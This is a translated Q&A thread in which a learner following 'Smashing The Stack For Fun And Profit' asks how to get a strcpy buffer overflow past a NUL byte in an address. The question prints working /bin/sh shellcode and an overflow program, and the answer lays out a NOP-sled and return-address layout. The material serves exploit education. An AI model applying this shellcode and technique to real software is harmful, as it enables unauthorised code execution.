【问题标题】:Avoid NUL Terminating Character for Stack Smashing with strcpy()使用 strcpy() 避免使用 NUL 终止字符进行堆栈粉碎
【发布时间】:2020-10-26 15:14:38
【问题描述】:

我最近一直在关注 aleph1 的 Smashing The Stack For Fun And Profit 论文,我已经到了无法用 strcpy 粉碎堆栈的地方。

在标题为“编写漏洞利用(或如何修改堆栈)”的章节中,aleph1 编写了以下代码(我尝试运行我的计算机):

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}

我们在上面所做的是用数组 large_string[] 填充 buffer[] 的地址,这是我们的代码所在的位置。然后我们复制我们的 shellcode 插入到 large_string 字符串的开头。然后 strcpy() 将 将 large_string 复制到缓冲区而不进行任何边界检查,并且将 溢出返回地址,用我们的代码所在的地址覆盖它 现在位于。一旦我们到达 main 的末尾,它就会尝试返回它 跳转到我们的代码,并执行一个 shell。

这段代码完全按照它对我的预期工作,直到它到达这一行:

  strcpy(buffer,large_string);

经过大量挖掘,我发现 strcpy 并没有按应有的方式溢出缓冲区,因为缓冲区的地址(被多次复制到 large_string 中)中包含 NUL 字符串终止零。

因此,strcpy() 在遇到第一个 NUL 后停止,这远远早于我们用缓冲区地址覆盖 main 的返回地址。

有没有办法解决这个问题,并以某种方式使缓冲区的地址中没有任何零?

【问题讨论】:

  • 为什么不改用memcpy 或(不推荐)strncpy
  • @GovindParmar、memcpy 和 strncpy 都限制了要复制的字节数。这里的整个想法是我们利用 strcpy 将允许我们缓冲溢出这一事实。
  • 警告在审查之前不要执行这个 shell 代码。

标签: c exploit stack-smash


【解决方案1】:

我猜你使用的是 Windows 操作系统和小端处理器,那是因为据我所知 linux 从上面放置地址代码,所以 linux 通常在地址中没有 NULL 字节。与从低地址开始的窗口不同,它包含 NULL 字节。有一个技巧是在你的 shellcode 中添加足够的 NOP 指令,直到它覆盖返回地址。因为您的地址包含 NULL 字节,所以您只写一次返回地址(strcpy 停止在 NULL 字节)。为此,您应该查看程序集并计算所需的 shellcode 的确切大小,然后将目标返回地址放在后面。

这里是伪

// &ret_addr is address of where your target_return_addres to be stored.
// To get it:
//     view in debugger
//     break at first instruction in main. Usually push ebp instruction
//     look ESP register value
a = &ret_addr - &buffer // [NOP] + [SHELLCODE]

// fill large_string with return address
for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

// fill large_string with NOP
n = a - strlen(shellcode)
for (i = 0; i < n; i++)
    large_string[i] = NOP;

// fill large_string with your shellcode
for (i = 0; i < strlen(shellcode); i++)
    large_string[n+i] = shellcode[i];

最后 large_string 看起来像这样

[n bytes] [strlen(shellcode) bytes] [Rest Bytes]
[NOP]     [SHELLCODE]               [RETURN ADDRESS]

缓冲区看起来像这样

[n bytes] [strlen(shellcode) bytes] [4 Bytes]
[NOP]     [SHELLCODE]               [RETURN ADDRESS]

请记住,如果 NX 位和堆栈金丝雀关闭,这将起作用。在调试器中试一下就很好理解了

【讨论】:

    猜你喜欢
    • 2017-01-18
    • 1970-01-01
    • 2021-07-18
    • 2012-02-02
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2020-05-16
    相关资源
    最近更新 更多